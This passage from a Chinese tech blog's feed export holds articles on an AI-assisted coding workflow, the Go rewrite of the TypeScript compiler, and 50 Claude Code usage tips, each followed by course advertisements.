想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-standard-library-vendor-std-cmd-dependency-management-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management\"\u003ehttps://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我们都知道，Go 推荐使用 Go Modules 来管理依赖。但在 Go 源码树的最深处，隐藏着一个鲜为人知的秘密：\u003cstrong\u003eGo 标准库 (std) 和工具链 (cmd) 竟然依然在使用 vendor 目录来管理它们的外部依赖。\u003c/strong\u003e\u003c/p\u003e","title":"Go 标准库竟然也用 vendor？std 和 cmd 模块是如何管理外部依赖的"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow\n大家好，我是Tony Bai。\n在过去的一年里，我们见证了 AI 编程工具的井喷。从 Copilot 到 Cursor，从 Windsurf 到 Claude Code、Gemini CLI和Codex，每个人都在寻找那个“完美的开发助手”。\n最近，爆火的个人AI助理开源项目 ClawdBot 和 PSPDFKit 的创始人 Peter Steinberger 发布了一系列关于他AI 开发工作流的深度博文。他以一种近乎“未来主义”的视角，描述了一个令传统程序员既兴奋又恐惧的景象：\n“I stopped reading code and started watching it stream by.”\n（我不再读代码了，我只是看着它流过。）\n这可真不是一句狂言，而是一种全新的且现实可行的工程范式。\n当 AI 的可靠性达到临界点，软件交付的速度不再受限于人类的打字速度，而是受限于模型的推理速度（Inference Speed）。\n今天，我们结合 Peter 的最新实践，为你拆解这套**“以人为核心、AI 为手脚”**的顶级开发工作流。\n质变时刻：学会了“深思熟虑”的模型+工具链的“极简回归” 根据 Peter 的观察，真正的质变发生在 GPT-5.2 这一代模型发布之后。\n早期的模型（如 Claude 3.5 Sonnet），虽然聪明但急躁，往往“顾头不顾腚”。而新一代的 Codex 模型学会了**“沉默”**。\n在面对一个复杂的重构任务时，模型可能会静默阅读代码长达 10 到 15 分钟，一言不发。这种“Think before Act”的特性，让它能够构建出极其完整的上下文图谱。结果就是：它能**一次性（One-shot）**搞定跨越数十个文件的大型重构，且几乎零 Bug。\n这也宣告了 Plan Mode（规划模式）的消亡。以前我们需要强制 AI 先写计划再写代码，那是为了给旧模型的智商打补丁。现在，开发者可以直接与 AI 对话，像与一位资深架构师协作一样流畅。\n此外，在尝试了市面上几乎所有工具（VS Code, Zed, Cursor, Gemini）之后，Peter 最终回归了一套极简的组合：\nGhostty + Claude Code + Minimal Tooling。\n为什么？因为 “Less is More”。\n终端的复兴： 他抛弃了不稳定的 VS Code 终端，全面回归 Ghostty。因为在 AI 时代，终端才是最纯粹的交互界面。 屏幕即战场： 他使用 Dell 40寸带鱼屏（3840×1620），同时平铺 4 个 Claude 实例 + Chrome。他不需要切换窗口，他像监控仪表盘一样监控着 4 个并发任务的进展。 摒弃复杂 MCP： 他甚至反主流地删除了大部分 MCP（Model Context Protocol）。因为 AI 有时候会自作聪明地启动 Playwright 去抓取网页，而直接读取代码反而更快、更准、更省 Token。 Peter的这些实践告诉我们：不要被花哨的工具迷了眼。一个稳定、高性能的终端，加上一个聪明的 CLI Agent，就是最强大的武器。\n像工厂一样生产：并行工程学 当“写代码”不再占用人类的脑力带宽时，Peter 的工作方式从“工匠”变成了**“工厂厂长”**。\n并行处理 (Parallel Processing) 他通常同时推进 3 到 8 个项目。\n窗口 1：重构后端架构； 窗口 2：优化前端交互； 窗口 3：跑全链路测试。 开发者只需要在这些 Session 之间切换，确认结果，给出下一个指令。\n线性推进，绝不回滚 (Never Revert) “软件开发就像登山，走错路了就绕回来，而不是读档重来。”\n他几乎不再使用 git reset。如果 AI 写歪了，直接告诉它“换个思路”，它会在现有基础上自我修正。甚至连 Plan Mode（规划模式） 都变得不再必要，就像前面提到的，新一代模型（GPT-5.2等）学会了“深思熟虑”，能一次性搞定复杂重构。\n跨项目“抄作业” (Cross-Referencing) 代码复用从未如此简单。他不再写 Prompt 描述需求，而是直接说：\n“Look at ../vibetunnel project, and implement the same logging system here.”\nAI 会自动跨目录读取代码，提炼模式，并完美适配到当前项目。\n基础设施的重构：CLI First 为了配合这种极速开发，Peter 彻底重构了他的技术栈选择逻辑。\n拥抱 CLI (Command Line Interface) “Whatever you build, start with a CLI.”\n无论做什么 App，先做 CLI 版本。因为 Agent 调用 CLI 最方便，测试 CLI 最容易。GUI 只是 CLI 的一层皮。只要内核跑通了，让 AI 套个 React 壳只是分分钟的事。\nOracle（预言机） 当 Agent 遇到知识盲区（比如最新的 API 变动）时，它会自动调用 Oracle ——一个Peter开源实现的、联网的、专门负责爬取文档并总结答案的“元智能体”。知识获取的闭环，彻底自动化了。\n文档驱动 (Docs-Driven) 他不再维护复杂的 Prompt 库，而是维护项目的 docs/ 目录。\n想规范 AI 的行为？写一个 docs/architecture.md。\n想让 AI 学会用 Vercel？在 CLAUDE.md 里加一行：logs: axiom or vercel cli。\n文档，就是 AI 的“长期记忆”和“员工手册”。\n给开发者的启示：核心竞争力迁移 在 Peter 的工作流中，我们看到了程序员核心竞争力的转移：\n系统设计 (System Design) 是王道： 当前的 AI 搞不定分布式系统设计，搞不定数据库 Schema 的前瞻性规划。这些**“硬骨头”**，才是人类的领地。 2. 选择 AI 友好的生态：\nTypeScript (Web), Go (CLI), Swift (App)，这三者是 AI 掌握得最好的。Peter 特别提到了 Go——以前他并不感冒，但后来发现 AI 写 Go 写得极好。为什么？因为 Go 简单的类型系统让 Lint 检查极快，AI 能迅速修正错误。相比之下，那些类型系统过于复杂或编译检查极其严格的语言，可能会增加 AI“一次做对”的难度，拖慢你的推理速度。\n自动化一切 (Automate Everything)： 不要手动注册域名，写个 Skill 让 AI 去做。不要手动发推特，写个 CLI 让 AI 去发。为你自己，也为你的 AI 员工，构建大量的自定义基建。\n小结：享受创造 有人担心 AI 会让程序员失业，但 Peter 的实录告诉我们：这可能是程序员最好的时代。\n在这个时代，限制你产出的不再是你的手速，也不再是你对某个库的熟悉程度，而仅仅是你的想象力。\n当你可以以推理速度交付软件，当你看着代码像瀑布一样流过屏幕时，编程就不再是枯燥的搬砖，而是一场纯粹的、创造性的游戏。\n资料链接：\nhttps://steipete.me/posts/2025/optimal-ai-development-workflow https://steipete.me/posts/2025/shipping-at-inference-speed 你的“未来工作流”\nPeter 的工作流让我们看到了未来的一角。你敢想象自己“不再读代码”的那一天吗？在你的理想中，AI 应该帮你接管哪些“脏活累活”，让你能专注于更高维度的创造？\n欢迎在评论区分享你的脑洞或对未来的担忧！让我们一起定义属于自己的 AI 工作流。\n如果这篇文章点燃了你对 AI 编程的全新想象，别忘了点个【赞】和【在看】，并转发给你的极客朋友，邀请他们一起见证未来！\n还在为“复制粘贴喂AI”而烦恼？\nPeter 描述的“看着代码流过”的未来并非遥不可及。我的新专栏 《AI原生开发工作流实战》 将带你提前掌握这套高效范式：\n告别低效： 摒弃“聊天式编程”，重塑以文档和 CLI 为核心的开发范式。 驾驭 Agent： 深入实战 Claude Code，像 Peter 一样构建自动化工作流。 角色进化： 从“手动写代码”进化为“规范驱动开发”的工作流指挥家。 扫描下方二维码，开启你的 AI 原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/clawdbot-author-ai-development-workflow-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow\"\u003ehttps://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的一年里，我们见证了 AI 编程工具的井喷。从 Copilot 到 Cursor，从 Windsurf 到 \u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e、\u003ca href=\"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIyNzM0MDk0Mg==\u0026amp;action=getalbum\u0026amp;album_id=4067128336651386882#wechat_redirect\"\u003eGemini CLI\u003c/a\u003e和Codex，每个人都在寻找那个“完美的开发助手”。\u003c/p\u003e","title":"别读代码了，看着它流过就行：ClawdBot 作者的 AI 开发工作流"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details\n大家好，我是Tony Bai。\n“JavaScript 是一门很棒的语言，但它并不是为了编写编译器而设计的。”\n备受瞩目的 TypeScript 编译器 Go 重写版（代号 TypeScript 7.0）已经取得了惊人的 10 倍性能提升。在最近的 GopherCon 2025 上，来自 Microsoft TypeScript 团队的 Jake Bailey 带来了一场干货满满的分享，深度揭秘了这场跨语言大迁徙背后的工程挑战与技术细节。\n为什么最终选择了 Go？庞大的 AST 如何在 Go 中高效表达？又是如何通过并发设计打破 Node.js 的性能枷锁的？本文将带你深入编译器内部，一探究竟。\n缘起：当 JavaScript 触碰到天花板 TypeScript 自 2012 年发布以来，一直采用“自举” (Self-hosting) 的方式，即用 TypeScript 编写 TypeScript 编译器。这带来了巨大的好处：团队能第一时间吃自己的狗粮，社区贡献也极其方便。\n然而，JavaScript 并不是为了编写高性能编译器而设计的。随着代码库规模的爆炸式增长（如 VS Code 的 150 万行代码），基于 Node.js 的编译器逐渐触碰到了性能天花板：\n单线程与内存限制：JavaScript 无法高效利用多核 CPU，且 Node.js 构建环境（如 Electron）常常面临 4GB 内存上限，导致大型项目编译时频繁 OOM。 昂贵的对象模型：JavaScript 的对象模型开销巨大，而编译器需要创建数以百万计的 AST 节点，这对内存和 GC 都是沉重的负担。 异步的代价：async/await 虽然方便，但带来了著名的“函数着色”问题，且 Promise 对象的分配本身就有非零的运行时开销。 尽管团队已经用尽了 JIT 优化、缓存、单态化 (monomorphization) 等高级手段，但性能提升的边际效应越来越小，OOM 问题依然挥之不去。移植到另外一种语言，成为了打破僵局的唯一选择。\n明确目标：新编译器的硬性指标 既然决定要移植到新语言，那么新语言必须解决 JavaScript 的痛点，同时不能丢失现有的优势。团队列出了几条不可妥协的硬性指标：\n极致速度：必须编译为原生机器码 (Native Code)，摆脱解释器和 JIT 的预热开销。 共享内存并发：这是性能翻盘的关键。新语言必须对多线程共享内存有强力支持，以便充分压榨多核性能。 跨平台支持：必须能运行在所有主流操作系统上，最重要的是——必须能编译为 WebAssembly，以确保在浏览器环境（如 vscode.dev）中的体验。 无缝移植：鉴于 TypeScript 没有正式的语言规范（Spec），现有的编译器实现就是事实上的规范。因此，新语言必须能够最大程度地保留原有代码的结构和逻辑，以确保行为的一致性。 正是这几条苛刻的标准，将选型的范围迅速缩小。\n选型：为什么是 Go？ 在考察了 Rust、C#、Zig 等语言后，Go 脱颖而出。Jake 透露了核心的决策逻辑：\n带 GC 的内存管理：编译器涉及大量复杂的、循环引用的数据结构（如 AST 节点），“手动”管理内存（如 Rust）会带来巨大的心智负担和开发成本。Go 的 GC 完美契合这一需求。 结构相似性：TypeScript 的代码风格（无类、大量函数和接口）与 Go 非常相似。这使得“移植”而非“重写”成为可能。 学习曲线平缓：团队中大部分是 TypeScript 专家而非系统编程专家。Go 的简单性让团队能迅速上手。 跨平台与性能：Go 编译为原生机器码，天生支持高并发，且能轻松跨平台（包括编译为 WASM）。 Go完美地契合了TypeScript编译器移植的需求！\n早期验证：手写原型与意外惊喜 在决定全面转向 Go 之前，团队并未贸然行动，而是采取了稳健的“原型验证”策略。\n他们从编译器的最底层——扫描器 (Scanner) 和解析器 (Parser)——开始，尝试手工将 TypeScript 代码逐行“翻译”为 Go 代码。与此同时，为了确保决策万无一失，还有几位成员试探性地尝试了其他语言方案。\n结果令人振奋：即使是初步的手写 Go 代码，解析速度也达到了原版的 5 倍左右！\n更重要的是，团队惊喜地发现，手写的 Go 代码在结构和逻辑上与原始的 TypeScript 代码惊人地相似。这种代码形态上的高度一致性，不仅验证了 Go 是正确的选择，更为后续大规模自动化工具的开发注入了强心剂。\n移植实战：从 ts-to-go 到并发革命 1. 自动化移植工具：ts-to-go 为了加速迁移，Jake 编写了一个 ts-to-go 工具，能将 TypeScript 代码“直译”为 Go 代码。\nTS 的 interface -\u0026gt; Go 的 interface TS 的 class -\u0026gt; Go 的 struct + methods 复杂的位运算和逻辑判断 -\u0026gt; 自动转换为 Go 的等价写法 虽然不能 100% 完美转换，但这让团队在初期就能获得一个“虽然丑但能跑”的版本，极大加速了进程。\n2. 数据结构的重新设计 在 JavaScript 中，对象是动态的；在 Go 中，一切皆有类型。团队不得不对 AST 的数据结构进行大刀阔斧的改革。\n消除 interface 滥用：最初的移植版本大量使用 interface 来模拟 TS 的多态，导致了巨大的内存开销（胖指针）和 nil 检查地狱。 拥抱 struct 嵌入：最终，他们设计了一个基础 Node 结构体，并将其嵌入到所有具体的 AST 节点中。这不仅减少了内存占用，还彻底解决了 nil 接口的问题。 3. 并发：性能提升的核心引擎 这是 Go 带来的最大红利。旧的 TS 编译器是单线程的，解析、绑定、检查、生成都在一条线上排队。\n而在 Go 版本中：\n解析 (Parsing)：每个文件可以独立解析，完全并行。 绑定 (Binding)：每个文件的符号绑定也是独立的，完全并行。 类型检查 (Type Checking)：这是最难的部分，因为文件间存在复杂的依赖。团队采用了**“独立检查器” (Independent Checkers)** 的模式，为每组文件分配一个独立的检查器，虽然会有少量重复工作，但实现了高度的并行化。 结果是惊人的：VS Code 的编译时间从 80 秒缩短到了 7 秒，速度提升超过 10 倍！\n踩坑与优化：Go 也没那么简单 当然，移植过程并非一帆风顺。Jake 分享了几个典型的“水土不服”案例：\n影子变量 (Shadowing)：Go 允许在内层作用域遮蔽外层变量（如 err、result等），这导致了无数隐蔽的 Bug。Jake 甚至为此专门写了一个静态分析工具(https://jakebailey.dev/posts/go-shadowing)来抓这些虫子。 方法值的分配：在 Go 中，将方法作为值传递（如 parser.LookAhead）会产生一次内存分配。在一个频繁调用的紧密循环中，这带来了 17% 的性能损耗。解决方案是改回显式的函数调用。 字符串拼接：JavaScript 引擎对字符串拼接有深度优化（Cons-string），而 Go 的 + 操作符则是实打实的内存拷贝。这导致初期的移植版本在处理大量字符串时性能惨不忍睹。 遗憾与取舍：那些我们怀念的 TypeScript 特性 正如 Jake 在演讲中所言，这次迁移是一场巨大的工程胜利，但也是一次充满妥协的旅程。从表达力丰富的 TypeScript 转向“极简主义”的 Go，团队不得不忍痛割爱，放弃了许多令人怀念的语言特性：\n编译期空值安全 (Compile-time nil safety)：这是团队最怀念的特性。在 Go 中，空指针异常（Panic）依然是悬在头顶的达摩克利斯之剑，而在 TypeScript 中，null/undefined 是类型系统的一部分，能被编译器严格检查。 空值合并与链式调用 (??, ?.)：Go 缺乏这些语法糖，使得代码中充斥着冗长的 if x != nil 检查，远不如 TypeScript 优雅。 联合类型与类型收窄 (Union types, narrowing)：TypeScript 强大的联合类型让数据建模极其灵活，而在 Go 中，这不得不退化为接口或带有大量字段的结构体。 泛型方法与三元运算符：这些“现代化”特性的缺失，让从前端背景转过来的工程师们颇感不适。 然而，对于编译器团队来说，为了性能，这一切“阵痛”都是值得的。他们用语法的繁琐换取了运行时的极速，这正是工程世界中最经典的“等价交换”。\n注：关于泛型方法，Go团队很大可能将在Go 1.27支持！\n未来展望：TypeScript 7.0 目前，Go 版本的编译器已经能通过 10 万个测试用例，并在 Slack、Figma 等大厂的内部构建中试运行（Slack 的构建时间从 6 分钟降至 40 秒）。\nMicrosoft 计划在 TypeScript 6.0 中开始引入一些破坏性变更，为 Go 版本的上位做铺垫。而那个完全由 Go 驱动、极速的编译器，预计将被命名为 TypeScript 7.0。\n这场从 Node.js 到 Go 的大迁徙，不仅证明了 Go 在复杂编译器领域的工程能力，也为所有面临类似性能瓶颈的团队，提供了一个极具参考价值的范本。\n注：微软在2025年12月初发布了TypeScript 7.0的最新进展，大家可以在 https://devblogs.microsoft.com/typescript/progress-on-typescript-7-december-2025/ 这里了解详情。\n资料链接：https://www.youtube.com/watch?v=PZm_YbE3fcA\n你的“重写”冲动\n微软用 Go 重写 TS 编译器，是一次壮士断腕般的成功尝试。**在你维护的项目中，是否有那个让你想要“推倒重来”的性能瓶颈？如果让你选，你会\n用 Go 还是 Rust 来重写它？**\n欢迎在评论区分享你的重构经历或选型思考！ 让我们一起探讨如何在性能与开发效率之间找到平衡。\n如果这篇文章让你对 Go 在大型项目中的潜力有了新的认识，别忘了点个【赞】和【在看】，并转发给你的架构师朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/typescript-compiler-go-rewrite-10x-speed-microsoft-details-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details\"\u003ehttps://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“JavaScript 是一门很棒的语言，但它并不是为了编写编译器而设计的。”\u003c/p\u003e\n\u003cp\u003e备受瞩目的 \u003ca href=\"https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg\"\u003eTypeScript 编译器 Go 重写版\u003c/a\u003e（代号 TypeScript 7.0）已经取得了惊人的 10 倍性能提升。在最近的 GopherCon 2025 上，来自 Microsoft TypeScript 团队的 Jake Bailey 带来了\u003ca href=\"https://www.youtube.com/watch?v=PZm_YbE3fcA\"\u003e一场干货满满的分享\u003c/a\u003e，深度揭秘了这场跨语言大迁徙背后的工程挑战与技术细节。\u003c/p\u003e","title":"TypeScript 编译器 Go 重写版提速 10 倍：微软团队深度揭秘幕后工程细节"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules\n大家好，我是Tony Bai。\n在使用 Claude Code 的过程中，你是否遇到过这种情况：\n有时候它简直是神，几秒钟就能重构一个复杂的模块；但有时候它又蠢得让人抓狂，甚至会一本正经地写出跑不通的代码，或者把你刚刚纠正过的错误再犯一遍。\n为什么？是模型不稳定吗？\n不，这通常是因为你的“打开方式”不对。\nClaude Code 本质上是一个运行在 CLI 环境中的自主智能体（Agentic Coding Environment）。它受限于一个核心物理法则：上下文窗口（Context Window）。\n上下文满了，它就会“失忆”。 指令不清晰，它就会“幻觉”。 没有反馈，它就会“盲目自信”。 为了帮你跨越从“新手”到“高玩”的门槛，我精读了 Anthropic 刚刚发布的官方最佳实践文档，并结合实战经验，提炼出了这 50 条核心军规。\n掌握了它们，你就是指挥 AI 军团的**编排者（Orchestrator）**了。\n基础心法——对抗熵增 (Foundational Tips) 核心逻辑： 上下文是稀缺资源，清晰度是最高杠杆。\nClear Task Framing： 开局第一句话决定成败。明确告诉它：Role（角色） + Task（任务） + Context（背景）。\nFront Load Instructions： 最重要的约束（比如“绝对不要修改配置文件”），必须放在 Prompt 的最前面。\n**Verification (最高杠杆)：**这是最重要的 Tip。 必须给 Claude 一个“验证它自己工作”的方法。 * ❌ “修复这个 Bug。” * ✅ “修复这个 Bug，并编写一个测试用例来验证修复是否成功。”\nProvide Screenshots： 涉及 UI 修改，直接粘贴截图。Claude 现在的视觉能力极强，一张图胜过千言万语。\nAddress Root Causes： 遇到报错，明确告诉它：“不要仅仅消除报错（Suppress），要解决根本原因。”\nPlan Mode (Shift+Tab)： 复杂任务（涉及 \u0026gt;2 个文件）必须先进 Plan 模式。 * Explore -\u0026gt; Plan -\u0026gt; Implement。\nReview the Plan： 在它动手写代码前，先 Review 它的计划。这时候纠偏成本最低。\nOne-shot vs Plan： 改个拼写错误？直接干。重构模块？必须 Plan。\nSpecific Context： 不要让它通读整个仓库。用 @ 引用具体文件。\nRich Content： 善用 cat error.log | claude，直接把日志管道喂给它。\nClear Context： 任务做完了？立刻运行 /clear。不要在垃圾堆里盖新楼。\nSummarize Before Clear： 如果想保留记忆，先让它 /compact（压缩上下文），再继续。\n工程化配置——给 AI 立规矩 (Configuration) 核心逻辑： 不要每次都手动教，把规则固化到文件里。\nCLAUDE.md 是宪法： 在根目录创建 CLAUDE.md，这是它每次启动必读的“员工手册”。\nUse /init： 运行 /init 命令，让 Claude 自动分析项目并生成初始的 CLAUDE.md。\n**Prune Ruthlessly：**CLAUDE.md 不要写废话！ * ❌ “请写出优雅的代码。”（浪费 Token） * ✅ “使用 npm run test:unit 运行单元测试。”（高价值信息）\nBash Commands： 在文档里告诉它项目特有的命令（如构建、部署脚本）。\nCode Style： 明确约定：用 Tab 还是 Space？用 TypeScript 还是 JS？\nImport Rules： 告诉它 @src/ 别名指向哪里，避免它瞎猜路径。\nChild Directories： 对于 Monorepo，可以在子目录放单独的 CLAUDE.md，它会自动继承。\nPermissions Allowlist： 别做“点点点”工程师。用 /permissions 把 ls, grep, npm test 加入白名单。\nSandbox Mode： 对于不信任的任务，开启 /sandbox，让它在隔离环境中撒欢。\nDangerously Skip： 只有在完全可控（断网/沙箱）时，才使用 –dangerously-skip-permissions。\nCLI Tools： 安装 gh (GitHub CLI)，让 Claude 能直接提 PR、看 Issue。\nMCP Connect： 使用 claude mcp add 连接 Postgres 或 Notion。数据不再是孤岛。\nLearn CLI： 不知道怎么用某个工具？让 Claude 先运行 tool –help 自学。\n技能与自动化——扩展能力 (Skills \u0026amp; Automation) 核心逻辑： 把重复的流程封装成“技能”，把 AI 集成到流水线。\nSkills Definition： 在 .claude/skills/ 下创建 SKILL.md，定义可复用的能力。\nDomain Knowledge： 把复杂的业务逻辑（如“订单状态流转规则”）封装成 Skill，用到时才加载。\nDisable Model Invocation： 对于高风险 Skill，设置 disable-model-invocation: true，强制人工确认。\nCustom Subagents： 定义专门的 .claude/agents/security-reviewer.md。 * 让它扮演“安全专家”，只负责 Review，不负责写代码。\nDelegate to Subagents： 在主会话中说：“用 security-reviewer 检查刚才的代码。”\nInstall Plugins： 运行 /plugin，去市场找现成的技能包（如 Python 代码分析）。\nCode Intelligence Plugin： 必装！给 Claude 提供“跳转定义”和“查找引用”的能力（基于 LSP）。\nHooks： 设置 .claude/settings.json 中的 Hooks。 * 例如：每次 Auto-fix 后自动运行 Lint。\nHeadless Mode： claude -p “prompt”。这是自动化的神器。\nCI Integration： 在 GitHub Actions 里用 Headless Mode 自动 Review PR。\nStructured Output： 使用 –output-format json，让脚本能解析 Claude 的回答。\nFan-out Pattern： 批量修改 100 个文件？写个 Shell 脚本循环调用 claude -p。\n避坑指南——反模式 (Anti-patterns) 核心逻辑： 识别“失败的味道”，及时止损。\nThe Kitchen Sink Session： 试图在一个 Session 里修 Bug、写新功能、又写文档。 * 后果： 上下文污染，智商直线下降。 * 解法： 一事一议，做完就 /clear。\nOver-correcting： 纠正了两次还不对？ * 后果： 错误路径被强化，越改越错。 * 解法： 别纠缠！直接 /clear，优化 Prompt 后重来。\nThe Trust-then-Verify Gap： 还没测试就觉得“看起来是对的”。 * 后果： 生产环境事故。 * 解法： 没有 Pass 测试的代码，一行都别信。\nThe Infinite Exploration： 让它“调查一下代码库”，不给范围。 * 后果： 读了几百个文件，Token 耗尽，还没开始干活。 * 解法： 限制搜索范围，或者用 Subagent 去做调研。\nVague Error Reporting： 只说“不行”或“报错了”。 * 后果： Claude 只能瞎猜。 * 解法： 粘贴完整的 Stack Trace。\n高阶操作——神级技巧 (Pro Moves) Resume Session： 昨天没干完？claude –resume 接着聊。\nRename Session： 用 /rename 给会话起个好名字（如 feat-login-oauth），方便找回。\nRewind (Esc+Esc)： 走错方向了？双击 Esc 回滚到上一步，比改代码快。\nLet Claude Interview You： 不知道怎么写 Spec？ * Prompt：“我想做个 X 功能。请作为一个资深架构师，向我提问，直到你觉得信息足够写出 Spec 为止。”\nSelf-Correction Loop： 让它自己改自己的作业。 * Prompt：“分析你刚才生成的代码，找出 3 个潜在的 Edge Case，并修复它们。”\nModel Tier Selection： 简单的 Lint 修复用 Haiku（快且便宜），架构设计用 Opus（聪明但贵）。\nParallel Sessions： 开两个终端。一个写代码（Writer），一个做 Review（Reviewer）。左右互搏，质量倍增。\nDevelop Intuition： 最后的建议——多用。建立对“上下文容量”和“模型能力边界”的体感。\n小结：从 直觉 到 方法论 刚开始使用 Claude Code，你可能靠的是直觉。但要在大规模工程中稳定产出，你必须依靠方法论。\n这 50 条军规，就是从“抽盲盒”走向“工业化生产”的桥梁。掌握了它们，你就不再是被动的 User，而是这支硅基军团的 Commander。\n资料链接：https://code.claude.com/docs/en/best-practices\n深度实战：构建你的“AI 原生工作流”\nTip 只是冰山一角。真正的威力在于将这些技巧组合成一套**“开发工作流”**。\n在我的极客时间专栏**《AI 原生开发工作流实战》**中，我将带你实战演示：\nCLAUDE.md 实战：如何从零编写一个完美的、模块化的项目宪法？ 驾驭Claude Code：实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 别再用蛮力写代码了。扫描下方二维码，学会用 AI 的杠杆。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/claude-code-official-best-practices-50-core-rules-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules\"\u003ehttps://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在使用 Claude Code 